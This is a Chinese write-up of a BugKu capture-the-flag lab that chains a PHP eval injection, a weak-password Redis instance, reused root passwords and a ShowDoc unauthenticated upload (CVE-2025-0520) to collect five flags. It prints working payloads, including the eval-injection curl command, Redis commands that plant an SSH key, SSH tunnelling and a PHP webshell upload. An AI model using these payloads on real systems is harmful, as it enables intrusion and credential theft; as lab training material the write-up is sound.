BugKu 渗透测试4 Writeup:从 eval 注入到五层内网拿满 Flag

0. 摘要

本题是典型的多层内网 HVV 场景:入口 Web 存在 eval 注入 RCE,内网一台 Redis 以弱口令 + root 权限运行可直接写 SSH 公钥,第二台机器文档里硬编码了入口机器的 root 口令;最后一台是 ShowDoc v2.6.7,可用未授权文件上传(CVE-2025-0520)拿 webshell,其 SQLite 数据库页面里又写着本机 root 口令。整条链 5 个 flag,约 4 分钟完成(含截图与清理)。

目标:http://47.117.0.114/(用户重置场景后的新入口)

时间:2026-10-24 16:26 -- 16:30(Asia/Shanghai)

结果:5/5 Flag 全部拿到 ,测试痕迹已清理

性质:授权靶场 / CTF 训练环境

Flag 值 位置
FLAG1 flag{03aa5c76a9061aca7356f428dadca851} 入口容器 192.168.0.100:/flag
FLAG2 flag{4f9b5dcfed3793ff01464427d94f15e7} 跳板 192.168.0.202:/root/flag
FLAG3 flag{3e4394da3233fd39d8943879300534b2} 入口容器 /root/flag
FLAG4 flag{1fb333f951f4c5753f59ca68510254ea} ShowDoc 172.16.0.153:/flag
FLAG5 flag{c4c89c9961b3802ab9c3b637d16ccd60} ShowDoc 172.16.0.153:/root/flag

1. 环境与拓扑

  • 入口:47.117.0.114:80(Apache/2.4.54 + PHP/7.4.33),47.117.0.114:22000 映射到容器 sshd
  • 入口容器:192.168.0.100(/flag=FLAG1、/root/flag=FLAG3)
  • 跳板:192.168.0.202(6379 Redis 6.0.16、22000 SSH;双网卡 192.168.0.202 + 172.16.0.233)
  • 后段:172.16.0.153(80 ShowDoc v2.6.7、22000 SSH;/flag=FLAG4、/root/flag=FLAG5)
  • 平台宿主:192.168.0.254(22/80/2376/22000),按规则仅侦察、未攻击

#mermaid-svg-HgeMWBeC9zXiPKJD{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-HgeMWBeC9zXiPKJD .error-icon{fill:#552222;}#mermaid-svg-HgeMWBeC9zXiPKJD .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-HgeMWBeC9zXiPKJD .marker{fill:#333333;stroke:#333333;}#mermaid-svg-HgeMWBeC9zXiPKJD .marker.cross{stroke:#333333;}#mermaid-svg-HgeMWBeC9zXiPKJD svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-HgeMWBeC9zXiPKJD p{margin:0;}#mermaid-svg-HgeMWBeC9zXiPKJD .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster-label text{fill:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster-label span{color:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster-label span p{background-color:transparent;}#mermaid-svg-HgeMWBeC9zXiPKJD .label text,#mermaid-svg-HgeMWBeC9zXiPKJD span{fill:#333;color:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .node rect,#mermaid-svg-HgeMWBeC9zXiPKJD .node circle,#mermaid-svg-HgeMWBeC9zXiPKJD .node ellipse,#mermaid-svg-HgeMWBeC9zXiPKJD .node polygon,#mermaid-svg-HgeMWBeC9zXiPKJD .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-HgeMWBeC9zXiPKJD .rough-node .label text,#mermaid-svg-HgeMWBeC9zXiPKJD .node .label text,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape .label,#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape .label{text-anchor:middle;}#mermaid-svg-HgeMWBeC9zXiPKJD .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-HgeMWBeC9zXiPKJD .rough-node .label,#mermaid-svg-HgeMWBeC9zXiPKJD .node .label,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape .label,#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape .label{text-align:center;}#mermaid-svg-HgeMWBeC9zXiPKJD .node.clickable{cursor:pointer;}#mermaid-svg-HgeMWBeC9zXiPKJD .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-HgeMWBeC9zXiPKJD .arrowheadPath{fill:#333333;}#mermaid-svg-HgeMWBeC9zXiPKJD .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-HgeMWBeC9zXiPKJD .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-HgeMWBeC9zXiPKJD .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-HgeMWBeC9zXiPKJD .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-HgeMWBeC9zXiPKJD .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-HgeMWBeC9zXiPKJD .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster text{fill:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster span{color:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-HgeMWBeC9zXiPKJD .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD rect.text{fill:none;stroke-width:0;}#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape p,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape .label rect,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-HgeMWBeC9zXiPKJD .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-HgeMWBeC9zXiPKJD .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-HgeMWBeC9zXiPKJD :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 攻击机
入口 Web 47.117.0.114:80
入口容器 192.168.0.100
跳板 192.168.0.202
后段 ShowDoc 172.16.0.153
平台宿主 192.168.0.254(仅侦察)

交互图:topology.html

2. 入口 Web:ajax.php eval 注入 → RCE(FLAG1)

/ajax.php 源码核心:

php 复制代码
function do_request($action){ eval($action.'();'); }
if(isset($_POST['action']) && $_POST['action']!=''){ do_request($_POST['action']); }

$action 被拼进 eval(),且入口无任何鉴权。直接 POST:

bash 复制代码
curl -s -X POST --data-urlencode "action=system('id');//" http://47.117.0.114/ajax.php

若命令里带引号/管道容易被解析打断,可改为双层编码(本 writeup 采用):

text 复制代码
action = eval(base64_decode('<base64(php code)>'));//
php    = system(base64_decode('<base64(shell cmd)>'));

命令回显 uid=33(www-data),读取 /flag:

text 复制代码
flag{03aa5c76a9061aca7356f428dadca851}

备注:源码里硬编码了 admin / Password_You_NeVeR-Know_hahah_^_^,但登录只返回 uid=0,无实际面板,属诱饵,未作为攻击路径。

3. 内网侦察:定位 Redis 跳板(FLAG2)

入口容器网卡:192.168.0.100/24,网关 192.168.0.254;容器内没有 nmap/nc/python,但有 bash、gcc、perl、php、ssh。

用 bash /dev/tcp 扫描器扫 192.168.0.0/24 的关键端口(22/80/6379/22000 等),直连验证已知网段命中:

text 复制代码
OPEN 192.168.0.202:6379
OPEN 192.168.0.202:22000
OPEN 192.168.0.254:22/80/22000   # 平台宿主,未攻击

生成密钥并用 Perl 手写 RESP 完成 Redis 写公钥(目标无 redis-cli):

perl 复制代码
AUTH 123456
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET pwn "\n\n<ssh-rsa AAAA...>\n\n"
SAVE

返回全部 +OK,随后:

bash 复制代码
ssh -i /tmp/k -p 22000 root@192.168.0.202 'id; cat /root/flag'
# uid=0(root)
# flag{4f9b5dcfed3793ff01464427d94f15e7}

4. 凭据复用:入口容器 root(FLAG3)

192.168.0.202:/root/Note.md 的"日常笔记"一节写着:

text 复制代码
echo "Dev@Bug_C00l123" | passwd --stdin root

该口令即入口容器 root 口令,公网 22000 直接登录:

bash 复制代码
ssh -p 22000 root@47.117.0.114
cat /root/flag
# flag{3e4394da3233fd39d8943879300534b2}

5. ShowDoc 未授权上传 → webshell(FLAG4)

从入口容器经 .202 建 SSH 本地转发(入口容器无法直达 172.16 网段):

bash 复制代码
ssh -i /tmp/k -N -L 127.0.0.1:18080:172.16.0.153:80 -p 22000 root@192.168.0.202 &
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18080/   # 302

ShowDoc v2.6.7(composer.json 版本),Home/PageController::uploadImg 未鉴权;代码设置 allowExts 但 TP3.2 实际用 exts,白名单失效;且只拦文件名中的 .php 字面量。构造 multipart:

text 复制代码
POST /index.php?s=/home/page/uploadImg
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php @eval($_GET["c"]); ?>
------X--

响应:

json 复制代码
{"url":"http://127.0.0.1:18080/Public/Uploads/2026-10-24/6adc6c4c287ab.php","success":1}

执行 c=system('cat /flag'); 得到:

text 复制代码
flag{1fb333f951f4c5753f59ca68510254ea}

排坑:webshell 的 eval 语句必须以 ; 结尾,否则报 unexpected end of file。

6. SQLite 取证 → root 口令(FLAG5)

ShowDoc 数据库 Sqlite/showdoc.db.php 本质是 raw SQLite,直接请求会被 PHP 解析报错,先复制成非 .php 再取回:

bash 复制代码
cp /var/www/html/Sqlite/showdoc.db.php /var/www/html/Public/Uploads/2026-10-24/showdoc.db.txt
# 本地经隧道下载后分析(md5 9584e6d4a8231faac57281a0e3de8fd1,258048 字节)

页面 page_id=22「服务器维护」内容:

text 复制代码
## 服务器信息
IP: 127.0.0.1
echo 'root:Test@1234.' | chpasswd //测试

用该口令经 .202 跳板登录 172.16.0.153:22000:

bash 复制代码
ssh -p 22000 root@172.16.0.153 'cat /root/flag'
# flag{c4c89c9961b3802ab9c3b637d16ccd60}

7. Flag 汇总

Flag 值 获取点
FLAG1 flag{03aa5c76a9061aca7356f428dadca851} 入口容器 /flag(eval RCE,www-data)
FLAG2 flag{4f9b5dcfed3793ff01464427d94f15e7} .202 /root/flag(Redis 写公钥)
FLAG3 flag{3e4394da3233fd39d8943879300534b2} 入口容器 /root/flag(Note.md 口令复用)
FLAG4 flag{1fb333f951f4c5753f59ca68510254ea} ShowDoc /flag(CVE-2025-0520)
FLAG5 flag{c4c89c9961b3802ab9c3b637d16ccd60} ShowDoc /root/flag(SQLite 口令)

时序图:flagchain.html;时间线:run.html

8. 清理与复现说明

  • .153:删除上传的 webshell 与 showdoc.db.txt,目录核验为空
  • .100:删除 webroot 下的 sd.db、/tmp 全部脚本、终止隧道进程;webroot 恢复原始 3 文件
  • .202:删除写入的 /root/.ssh/authorized_keys
  • 脚本与证据:tools/(rce.ps1、pwn_redis.pl、tun.sh、sd_pwn.sh、wsh.sh、ssh153.sh、clean153.sh)、evidence/showdoc.db

9. 图形附件(Archify)

图 文件 说明
攻击面拓扑 topology.html 入口/跳板/后段/宿主与 5 个 flag 路径
攻击时序 flagchain.html 从 eval 注入到 root 的 12 步时序
实战时间线 run.html 16:26--16:30 的侦察/横向/收割/清理

静态校验:archify check 三图均 issues: [](render --quality showcase)。

门禁说明:archify finalize 的 browser-check 在 DSH elevated 会话下会因 Chrome/Edge 提权重启导致 DevTools pipe 断开(spawn EINVAL / read pipe stream ended),本机未跑;已用 headless Edge 截图人工复核(screenshots/*.png),并执行 archify check 作为替代校验。

相关推荐
Jsundoku1 小时前
第七章 深度学习 -- Transformer 架构
人工智能·深度学习·transformer·1024程序员节
若亦_1 小时前
Java泛型入门:类型安全与上界约束
java·1024程序员节
凉茶钱1 小时前
stack、queue、priority_queue、容器适配器完整梳理
开发语言·c++·queue·1024程序员节·stack
FriendshipT1 小时前
Vim 完整指南:从入门到高效编辑
linux·人工智能·编辑器·vim·1024程序员节
小淮AI1 小时前
AI 能生成网页吗?从三类工具看当前的实际能力
1024程序员节
思麟呀1 小时前
嵌入式入门(四)USART 串口深度解析:单片机第一次与电脑对话
c语言·单片机·嵌入式硬件·1024程序员节
有Li1 小时前
主动脉瘤的最佳风险重新分类:断层增强CT与二维经胸超声心动图对比研究文献速递/医学影像的几何测量
大数据·人工智能·深度学习·机器学习·医学生
猛码象限1 小时前
【模型观察】K3.1 Pro 后训练加码,自评完成度 65.7%
人工智能·业界资讯·1024程序员节
天蒙蒙亮1 小时前
React Native 打包流程(Android 为主)
1024程序员节